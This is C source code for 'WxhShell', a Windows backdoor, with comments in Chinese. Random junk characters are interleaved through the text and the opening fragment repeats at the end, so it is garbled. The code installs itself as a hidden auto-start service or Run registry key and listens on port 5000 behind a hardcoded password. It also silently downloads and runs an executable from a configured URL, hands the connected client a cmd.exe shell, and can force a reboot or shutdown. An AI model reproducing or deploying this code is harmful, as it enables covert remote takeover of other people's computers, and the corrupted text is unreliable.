NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c;R.rV< 8EI&}I if (!NtQueryInformationProcess) return 0; Z,b^f
Vw z&[[4[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D/WzYc2h] if(!hProcess) return 0; GuJIN"P] .q$/#hN:e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]6HnK% Q $>SYvW CloseHandle(hProcess); HYg7B i{>YQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wtGb3D"am if(hProcess==NULL) return 0; lHPhZ(Z
a.AEF P4N HMODULE hMod; i"hn%u$V char procName[255]; P`M1sON~ unsigned long cbNeeded; Y+~>9-S
2f -Or/v if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cuQ=bRIb z.kBQ{P CloseHandle(hProcess); 2wgdrO|B 2{#=Ygb0 if(strstr(procName,"services")) return 1; // 以服务启动 8L(KdDY \G1(r=fU return 0; // 注册表启动 /M_kJe,% } DRi/< nL!nzA // 主模块 c1_?Z int StartWxhshell(LPSTR lpCmdLine) w~*"mZaG { TUVqQ\oF: SOCKET wsl; s-xby~ BOOL val=TRUE; 9}Zi_xK&|e int port=0; E}=F
struct sockaddr_in door; kc:2ID& !^A t{[U if(wscfg.ws_autoins) Install(); 2O9OEZdKB i{ /nHrN port=atoi(lpCmdLine); woK?td|/ 7PI|~Ifi if(port<=0) port=wscfg.ws_port; g/soop\: px_%5^zRQ WSADATA data; BRMR>
~k( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C/pu]%n@4 ^kpu9H if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &]/.=J setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <3Hu(Jx<O door.sin_family = AF_INET; &Lgi door.sin_addr.s_addr = inet_addr("127.0.0.1"); %|3UWN door.sin_port = htons(port); Ehf{Kl V?cUQghHg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =p';y& closesocket(wsl); pG:)u
cj return 1; u@zBE?
g } -^7n+
QX uc;QSVWGy8 if(listen(wsl,2) == INVALID_SOCKET) { 9Uh nr]J. closesocket(wsl); tt>=Vt' return 1; h9J } S b3@7^ Wxhshell(wsl); uw@|Y{(K r WSACleanup(); hC= ="4 - x;R9Gc[5 return 0; <$
Ar*<,6 ub]
w"N } ;q$O^r~ 3bPvL/\Lb // 以NT服务方式启动 'H,l\i@" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K<+h/Ok { I*K~GXWs# DWORD status = 0; DavG=kvd DWORD specificError = 0xfffffff; th*E"@ ^UK6q2[ serviceStatus.dwServiceType = SERVICE_WIN32; x_5H_! \# serviceStatus.dwCurrentState = SERVICE_START_PENDING; ];go?.*C serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !P0Oq)q serviceStatus.dwWin32ExitCode = 0; ?wx|n_3<: serviceStatus.dwServiceSpecificExitCode = 0; 1cdM^k serviceStatus.dwCheckPoint = 0; C,D~2G serviceStatus.dwWaitHint = 0; etH%E aF[ dGzZ_Vf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oj0/[(D- if (hServiceStatusHandle==0) return; 4<&`\<jZ qcfLA~y status = GetLastError(); _#+~#U%5n if (status!=NO_ERROR) up7]Yy;o= { L1k_AC1.M serviceStatus.dwCurrentState = SERVICE_STOPPED; <[7.+{qfW serviceStatus.dwCheckPoint = 0; YvK8;<k@-? serviceStatus.dwWaitHint = 0; ?79ABm
a serviceStatus.dwWin32ExitCode = status; Tce2]"^; serviceStatus.dwServiceSpecificExitCode = specificError; `D%bZ%25c SetServiceStatus(hServiceStatusHandle, &serviceStatus); uIvE~< return; U{o0Posg } Hd)4_
uBt HIi5kv]}| serviceStatus.dwCurrentState = SERVICE_RUNNING; O=St}B\!m serviceStatus.dwCheckPoint = 0; OPwj*b:-m serviceStatus.dwWaitHint = 0; 3l 0> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $9\!CPZ2 } ;HJ|)PN5L S0Y$$r // 处理NT服务事件,比如:启动、停止 u#Qd`@p VOID WINAPI NTServiceHandler(DWORD fdwControl) Ro?aDrQ { b#^UP switch(fdwControl) ;,]T|>M { jxr~cp?4 case SERVICE_CONTROL_STOP: DO$jX
4 serviceStatus.dwWin32ExitCode = 0; |L4K# serviceStatus.dwCurrentState = SERVICE_STOPPED; :-
ydsR/ serviceStatus.dwCheckPoint = 0; ;Z"6ve4 serviceStatus.dwWaitHint = 0; ]J C}il_b { T0Q)}%L SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?j8F5(HF? } B@l/'$G return; 2, ` =i case SERVICE_CONTROL_PAUSE: [L,Tf_t^Y serviceStatus.dwCurrentState = SERVICE_PAUSED; ,r{\aW@ break; u%S&EuX case SERVICE_CONTROL_CONTINUE: yla&/K;|* serviceStatus.dwCurrentState = SERVICE_RUNNING; F%x8y break; </|IgN$w` case SERVICE_CONTROL_INTERROGATE: *O|Z[> break; Llk4 =p }; R;f!s/^) SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Q*L!/K+ } ;K0kQ<y-Y _d&FB~= // 标准应用程序主函数 wg*2mo int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) },'2j { hof:+aW ajW[}/) // 获取操作系统版本 _.OajE\T OsIsNt=GetOsVer(); c?CjJ}-7 GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Ay*' _rK}~y=0 // 从命令行安装 0I4RZ.2*Y if(strpbrk(lpCmdLine,"iI")) Install(); a="Z]JGk !~cTe!T // 下载执行文件 C9U~lcIS if(wscfg.ws_downexe) { *S_eYKSl if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dg4?,{c9W WinExec(wscfg.ws_filenam,SW_HIDE); m#mM2Guxe } !h{qO&ZH= 2`Xy}9N/Y if(!OsIsNt) { %^g BDlR^ // 如果时win9x,隐藏进程并且设置为注册表启动 u~6`9'Ms HideProc(); _YY:}'+ StartWxhshell(lpCmdLine); *?K3jy{ } g6k@E,cI_ else YsXP$y]g- if(StartFromService())
Q uy5H // 以服务方式启动 Kgi%Nd StartServiceCtrlDispatcher(DispatchTable); RiF~-;v& else qIa|sV\w0 // 普通方式启动 AxUj CerNf StartWxhshell(lpCmdLine); =u(. Y ^S'}RZ*> return 0; ;GO>#yg4Eh } s2Ivd*=mT veg\A+:' oW(p (> ~fn2B =========================================== c-!rJHL` T%Vii*?M 1K&z64Q5J [J0L7p*6 Y!v `0z G:$wdT(u " w%)=`'s_ 6|t4\' #include <stdio.h> BCk$FM@ #include <string.h> E%
Ce/n #include <windows.h> nk]jIRy^T #include <winsock2.h> Z+@" #include <winsvc.h> r>sk@[4h #include <urlmon.h> @!&\Z[", \aQBzEX #pragma comment (lib, "Ws2_32.lib") <P7f\$o~ #pragma comment (lib, "urlmon.lib") &C<B=T"I |_8-3 #define MAX_USER 100 // 最大客户端连接数 ,2/qQD n/ #define BUF_SOCK 200 // sock buffer 6$w)"Rq #define KEY_BUFF 255 // 输入 buffer y iE[^2Pv FJgr=9> #define REBOOT 0 // 重启 T+zZOI #define SHUTDOWN 1 // 关机 |f&)@fUI .R;HH_ #define DEF_PORT 5000 // 监听端口 6+A<_r`#Q 8*I43Jtlf, #define REG_LEN 16 // 注册表键长度 ?h"+q8& #define SVC_LEN 80 // NT服务名长度 as-
Z)h[B &!vJ3: // 从dll定义API kN>%y&cK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); abUvU26t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )V%xbDd S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Sr&Y1D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +.whEw(i 8E"Ik~ // wxhshell配置信息 &i4*tE3], struct WSCFG { Gvw4ot/ int ws_port; // 监听端口 ~mx me6"v char ws_passstr[REG_LEN]; // 口令 Ey=(B'A~ int ws_autoins; // 安装标记, 1=yes 0=no M2_sxibI char ws_regname[REG_LEN]; // 注册表键名 jzSh|a9_ char ws_svcname[REG_LEN]; // 服务名 ]d}Z2I' char ws_svcdisp[SVC_LEN]; // 服务显示名 <ZxxlJS)6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 k:Sxs+)?1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (m4`l_ int ws_downexe; // 下载执行标记, 1=yes 0=no pHEhB9_A! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YA O,
rh char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wo2TU! 8i=J(5= }; nVko]y KlDW'R$ // default Wxhshell configuration 3:7J@> struct WSCFG wscfg={DEF_PORT, -z./6dQ "xuhuanlingzhe", o {Sc 1, \:]Clvc "Wxhshell", {$)zC*l "Wxhshell", r5> FU>7' "WxhShell Service", oE[wOq+ "Wrsky Windows CmdShell Service", j<>E
Fd "Please Input Your Password: ", -gefdx6ES 1, F]\(p=U. "http://www.wrsky.com/wxhshell.exe", jt?4raNW "Wxhshell.exe" Z;=G5O
uvQ }; >
$DMVtE0 w d2GKq! // 消息定义模块 3r!6Z5P7{' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E1usxF) char *msg_ws_prompt="\n\r? for help\n\r#>"; n]?Yv E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ikql char *msg_ws_ext="\n\rExit."; :oYu+cQ char *msg_ws_end="\n\rQuit.";
i-w^pv' char *msg_ws_boot="\n\rReboot..."; aa2&yc29hp char *msg_ws_poff="\n\rShutdown..."; NypM+y char *msg_ws_down="\n\rSave to "; @&t';"AE hJ\IE?+ char *msg_ws_err="\n\rErr!"; 1r;]== char *msg_ws_ok="\n\rOK!"; VliX'.- 0B#9CxU% char ExeFile[MAX_PATH]; Y
m=ihQ| int nUser = 0; O|=5+X HANDLE handles[MAX_USER]; x1</%y5ev int OsIsNt; 56t9h/y \7rFfN3 SERVICE_STATUS serviceStatus; c[J(H,mt/ SERVICE_STATUS_HANDLE hServiceStatusHandle; >=BH$4Ce ggtGecKm // 函数声明
?TA%P6Lw int Install(void); : kz*.1 int Uninstall(void); _^;+_6&[ int DownloadFile(char *sURL, SOCKET wsh); QPB@qx#@ int Boot(int flag); U>?q|(u void HideProc(void); }kzGuNj int GetOsVer(void); 9W88_rE'e} int Wxhshell(SOCKET wsl); Qn'Do4Le void TalkWithClient(void *cs); NC'+-P'y int CmdShell(SOCKET sock); 'NHtCs=F int StartFromService(void); 1$T;u~vg int StartWxhshell(LPSTR lpCmdLine); k=1([x al/Mgo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9o5W\.A7[D VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?=,4{(/) I.BsKB // 数据结构和表定义 {\z&`yD@ SERVICE_TABLE_ENTRY DispatchTable[] = dCv@l7hE { &HBqweI {wscfg.ws_svcname, NTServiceMain}, i3#To}g5V {NULL, NULL} ya7PF~:E- }; F5la:0fb !=%0 // 自我安装 q)vdDdRe_ int Install(void) zmd,uhNc: { )a"rj5~- char svExeFile[MAX_PATH]; X^;[X~g HKEY key; %;ZWYj`]n strcpy(svExeFile,ExeFile); w/_n$hX FN jT?* // 如果是win9x系统,修改注册表设为自启动 Cq\1t if(!OsIsNt) { !wP|t#Sc9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =OY&;d!C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (1pI#H"f9 RegCloseKey(key); /Iht,@%E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \1|]?ZQ\ K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aK>5r^7S RegCloseKey(key); OiBDI3,|+ return 0; o zg%- } z\64Qpfm } Axp#8 } Mx?]7tI else { y.,S}7l: /){F0Zjjt // 如果是NT以上系统,安装为系统服务 ZccQ{$0H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?^y%UIzf if (schSCManager!=0) N6K%Wkz { .G-F5`2I SC_HANDLE schService = CreateService PL vz1}ts ( FyD^\6/x schSCManager, 6G2s^P1Dl@ wscfg.ws_svcname, bz5",8Mn wscfg.ws_svcdisp,
/tIR}qK SERVICE_ALL_ACCESS, :eIPPh|\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j{}-zQ]n SERVICE_AUTO_START, %f??O|O3 SERVICE_ERROR_NORMAL, w1Ar[
P svExeFile, },1**_#<Br NULL, vn
oI.;H, NULL, p }p1>-j NULL, hv "
'DP NULL, [f`^+,U NULL @ qFE6! ); 'zYKG5A if (schService!=0) "V/|RC { j5hM|\] CloseServiceHandle(schService); V[E7mhqy CloseServiceHandle(schSCManager); 6 0C;J!D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :CH*~o strcat(svExeFile,wscfg.ws_svcname); \1`L-lz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bOIVe RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g;p]lVx=> RegCloseKey(key); z3F ^OU return 0; 8R!3}kx } !r=^aa(\ } X`xI~&t_ CloseServiceHandle(schSCManager); MYVUOd, } r]! <iw } 7\ .Ax PT2b^PP return 1; "= H.$
+ } E>_?9~8Mf }qf9ra // 自我卸载 *7`N^e int Uninstall(void) O_}ZSB8" { -
0t
HKEY key; &uLxAw iC U[X& if(!OsIsNt) { wLa^pI4p ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r 5$( RegDeleteValue(key,wscfg.ws_regname); *~p~IX{ RegCloseKey(key); [w iI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9ICC2%j| RegDeleteValue(key,wscfg.ws_regname); fX.V+.rj RegCloseKey(key); ]>utLi5dX return 0; o;#{N~4[$ } W@S'mxk#* } @ mzf(Aq
} .3;bUJ1 else { HSt|Ua.c/h kBPFk t2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m7:E73: if (schSCManager!=0) 'WqSHb7 { %}z/_QZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xP@VK!sc if (schService!=0) jgiP2k[Xom { v\9:G if(DeleteService(schService)!=0) { m wuFXu/ CloseServiceHandle(schService); )9,*s!)9 CloseServiceHandle(schSCManager); +B*8$^,V) return 0; >$.u|a }
Q@3.0Hf|{ CloseServiceHandle(schService); wu*WA;FnA } Kuh! b`9 CloseServiceHandle(schSCManager); ]Ll< } a
S-
rng } 0Sz&Oguv +uPN+CgQ@ return 1; -KRHcr \ } @5gZK[?|I ?FRR"; // 从指定url下载文件 tVx.J'"Y int DownloadFile(char *sURL, SOCKET wsh) T7;)HFGeW { m8rz
i: HRESULT hr; oz}p]l7 char seps[]= "/"; uo1G char *token; Z2chv,SqCJ char *file; uCK!lq- char myURL[MAX_PATH]; =goZI6 7 char myFILE[MAX_PATH]; 2|k*rv}l Rl 4r 9 strcpy(myURL,sURL); CvpqQ7&k7 token=strtok(myURL,seps); ,5\:\e0H while(token!=NULL) V:42\b7x { 7YRDQjg file=token; =q|fe%# token=strtok(NULL,seps); uTJi }4cw } p71%-nV ?o0#h GetCurrentDirectory(MAX_PATH,myFILE); dRZor gar strcat(myFILE, "\\"); XEqg%f strcat(myFILE, file); > qA5 send(wsh,myFILE,strlen(myFILE),0); i_GE9A=h send(wsh,"...",3,0); A>L(#lz#ek hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !2x"'o if(hr==S_OK) f{e*R#+& return 0; ;>=hQC{f> else K*J8(/WkD return 1; a@@!Eg
A vg5zsR0u } 8Gb=aF1 RCt)qh+ // 系统电源模块 @"9y\1u int Boot(int flag) e,E;\x
& { "xdJ9Z-B HANDLE hToken; xsRMF&8L TOKEN_PRIVILEGES tkp; /3%]Ggwe i:#R
U^R if(OsIsNt) { ilK8V4k<T) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |PN-,f{ - LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |xzqYu?o tkp.PrivilegeCount = 1; Coq0Kzhsab tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $2BRi@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~4}m'#! if(flag==REBOOT) { e:[Kp6J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P's <M return 0; )ymF:]QC } *DkA$Eu3u else { u2<:mu[|P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oe9{`~ return 0; 0jv9N6IM } d$r JW m5H } KHr8\qLH else { 1jmhh!, if(flag==REBOOT) { *Oz5I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |
7>1) return 0; RA[` Cp" } r"fu{4aX else { va8:QHdU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .WL507*"Ce return 0; w& RpQcV } mQ%kGqs } 9+QLcb mS~3 QV return 1; o\]e}+1[o } J=K3S9:n]g n 2#uH // win9x进程隐藏模块 ~73"AWlp void HideProc(void) q){]fp.,@ { 81W})q8 4BEVG&Ks
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >K\ 79<x| if ( hKernel != NULL ) cDs#5, { KvilGh10 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8gC(N3/E" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MPzqw)_-v FreeLibrary(hKernel); ZuS+p0H" } 2L<TqC{,- ]VJcV.7` return; P>N\q } ;JL@V}L, f| N(~ // 获取操作系统版本 mA^>Y_: int GetOsVer(void) y6*i/3 { A94VSUDA: OSVERSIONINFO winfo; .h+<m7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YSrFHVq GetVersionEx(&winfo); ObM5v rEk| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FeV=4tsy return 1; xC;$/u%' else b}"/K$`Fd return 0; Kg](kP } i0AC.]4e" R&xD|w8UjM // 客户端句柄模块 Jy|Mfl%d int Wxhshell(SOCKET wsl) .j&jf^a5 { 2:DpnLU5 SOCKET wsh; g"Ii'JZ? struct sockaddr_in client; wFqz.HoB DWORD myID; mOX I"q]p *znCe(dd while(nUser<MAX_USER) oub4/0tN,~ { jilO% " int nSize=sizeof(client); Y6N+,FAk+J wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3F.O0Vz if(wsh==INVALID_SOCKET) return 1; Gj)Qw6
[2\`Wh:%P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )i!)Tv if(handles[nUser]==0) SbI,9< closesocket(wsh); |x5w;= else W'
2)$e nUser++; S'@"a%EV } |u}sX5/q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cn`%
*w 4x C0Aw return 0; *E.
2R{ } " c Ck^= H // 关闭 socket mmjB1L void CloseIt(SOCKET wsh) t!i F(R\ { wUV%NZB closesocket(wsh); S i>TG
nUser--; U73`HDJ ExitThread(0); 6nq.~f2` } ', &MYm\ =p7W^/c // 客户端请求句柄 EEo+# void TalkWithClient(void *cs) J2cNwhZ { $\K(EBi#G x4( fW\ SOCKET wsh=(SOCKET)cs; $OhL
95}7 char pwd[SVC_LEN]; <%Rr-, char cmd[KEY_BUFF]; Fh/C{cX9g char chr[1]; =H?Nb:s int i,j; 9E#(i P oaXD^H\ while (nUser < MAX_USER) { sO6t8)$b %4-pw|': if(wscfg.ws_passstr) { hBqu,A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U&/S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'K"*4B^3 //ZeroMemory(pwd,KEY_BUFF); p-6.:y i=0; iLI]aZ while(i<SVC_LEN) { >5gzo6j/ bG&qgbN> // 设置超时 H5%I?ZXw4 fd_set FdRead; 'Hia6<m3 struct timeval TimeOut; a$|u!_)!h FD_ZERO(&FdRead); :OZhEBL&b FD_SET(wsh,&FdRead); U{}7:&As TimeOut.tv_sec=8; VsMN i#? TimeOut.tv_usec=0; yTvK)4& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YOoP]0'L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nc{<v hWu)0t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3gh^a;uC pwd=chr[0]; OlJj|?z$ if(chr[0]==0xd || chr[0]==0xa) { N} h%8\ pwd=0; K;ML' break; ;$/G T } E,$uNw '] i++; SYwNx">Bq } ;(,Fe/wvC '[E_7$d // 如果是非法用户,关闭 socket xr2:bu if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M*HG4(n0 } !Ch ya e_;6UZ+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =w8 YZs8w send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lgfr"{C srkOad while(1) { gA|j\T{c u^uG_^^,/ ZeroMemory(cmd,KEY_BUFF); 7(;VUR%%. q'r3a+ // 自动支持客户端 telnet标准 K\ ]r j=0; K7Vr$,p while(j<KEY_BUFF) { LN^8U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0A9cu,ZdUR cmd[j]=chr[0]; ~e8n yB if(chr[0]==0xa || chr[0]==0xd) { m>!#}EJ| cmd[j]=0; *X-$*
~J0 break; ;CZcY] ol } Oe!&Jma*> j++; h:NXO' } DIAP2LR ? 7q=0]Hrg(D // 下载文件 ]>o2P cb; if(strstr(cmd,"http://")) { 3Cl9,Z"&6$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uf<vw3 if(DownloadFile(cmd,wsh)) 8(;i~f:bCW send(wsh,msg_ws_err,strlen(msg_ws_err),0); f+Go 8Lg=M else 3"n8B6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >KFJ1}b|3 } SAJ=)h~ else { `ahXn {;/o4[jlg switch(cmd[0]) { )]R?v,9*D 9="sx 8? // 帮助 6KG 63`aQ case '?': { WGx>{'LJ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #w@Pa L iS break; Hdx|k=-Q^ } '
^^K#f8 // 安装 U*TN/6Qy. case 'i': { ~4<3`l=A if(Install()) Fm':sd)'X send(wsh,msg_ws_err,strlen(msg_ws_err),0); t@n (a else U'G`Q0n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QEKFuY<E+ break; bl<7[J. } z;fSd // 卸载 LH;G: case 'r': { ^ym{DSx if(Uninstall()) ^aCYh[= send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi>_>zStv else aO%FQ)BT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V1`|j break; sQs5z~#51* } zOdKB2_J7 // 显示 wxhshell 所在路径 sD+G+ case 'p': { du,-]fF char svExeFile[MAX_PATH]; y9hZ2iT strcpy(svExeFile,"\n\r"); jYz3(mM'J strcat(svExeFile,ExeFile); )}!'VIe^! send(wsh,svExeFile,strlen(svExeFile),0); T7~v40jn| break; uek3Y[n } G |^X:+ // 重启 |GQ$UB case 'b': { \k_3IP?o= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !ei20@ if(Boot(REBOOT)) cx(F,?SbS send(wsh,msg_ws_err,strlen(msg_ws_err),0); nj`qV else { 9m4rNvb closesocket(wsh); s=
fKAxH ExitThread(0); @#c6\$ } 2*YXm>|1 break; pNFIO
t:( } qEr[fC@x // 关机
[i1D~rCcn case 'd': { nn:pf1 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dRa<,@1" if(Boot(SHUTDOWN)) gDNW~?/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 66^t[[ else { ^)l@7XxD closesocket(wsh); 63Yu05' ExitThread(0); qXGLv4c`Q } )\Q|}JV break; ~|C1$.- } {~g // 获取shell ~HRWKPb case 's': { 3yB6]U CmdShell(wsh); SVh4)}.x closesocket(wsh); 2z# @:Q ExitThread(0); /exl9Ilt] break; M&c1iK\E8 } $yFuaqG`Wo // 退出 KocXSh U case 'x': { {WOfT6y+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^3o8F CloseIt(wsh); [F[<2{FQF break; }zxh:"#K } 5)NBM7h // 离开 wLe&y4 case 'q': { L6=RD<~C send(wsh,msg_ws_end,strlen(msg_ws_end),0); D D;+& fe closesocket(wsh); 7h/Q;P5 WSACleanup(); 0]W]#X4A exit(1); +STzG/9# break; uN3J)@;_ } `1<3Hu_ } ,ri--< } 6XK`=ss? %P,^}h7 // 提示信息 4$GRCq5N; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 91d`LsP } V9+"CB^ } bvS\P!m\c C,vc
aC? return; ,<r 3Z$G } S{7ik,Gdg 6x,=SW@4 // shell模块句柄 Lj-&TO}OZ int CmdShell(SOCKET sock) aq/Y}s? { @<yc .> STARTUPINFO si; x0$:"68PW ZeroMemory(&si,sizeof(si)); 6ilC#yyp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]J=)pDrk si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mv`L F PROCESS_INFORMATION ProcessInfo; L9?/ -@M char cmdline[]="cmd"; =1OAy`8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `4$Qv'X* return 0; ":^
NLBm>5 } tF g'RV{ B5H&DqWzr // 自身启动模式 )u/
^aK53^ int StartFromService(void) #]a51Vss { vek:/'sj3p typedef struct a;T[%'in { 7oLf5V1~ DWORD ExitStatus; aa%&& DWORD PebBaseAddress; #L=
eK8^e DWORD AffinityMask; [d~bZS|(T( DWORD BasePriority; bok 74U] ULONG UniqueProcessId; yP9wYF^A\ ULONG InheritedFromUniqueProcessId; }d\Tk(W } PROCESS_BASIC_INFORMATION; f3>6:( xXxh3 k\ PROCNTQSIP NtQueryInformationProcess; g74z]Uj.B }%FuL5Tx static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |-Esc|J( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LI;Efy L
~
9~\f HANDLE hProcess; #iU8hUbo PROCESS_BASIC_INFORMATION pbi; ?r E]s!K %x8`fm HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4J
51i*` if(NULL == hInst ) return 0; A1t~&? p vQK6r g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HGQ?(2] 8$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^8l3j4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C"^hMsU8 kxqc6 if (!NtQueryInformationProcess) return 0; r{2].31' D<3V#Opw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xm,`4WdG if(!hProcess) return 0; V;hwAQbF eGSp(o5 6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z*9]:dG:! :Ip:sRz CloseHandle(hProcess); 46P6Bwobh 69j~?w)^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1mVVPt^6 if(hProcess==NULL) return 0; XZdr`$z f K_+;"G HMODULE hMod; 3JZWhxkf[$ char procName[255]; -S%q!%}u unsigned long cbNeeded; oTD-+MZn u!3]RGJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K7xWE,y 6^IqSNn- CloseHandle(hProcess); }B9~X 6+B{4OY if(strstr(procName,"services")) return 1; // 以服务启动 "$IXZ /sT
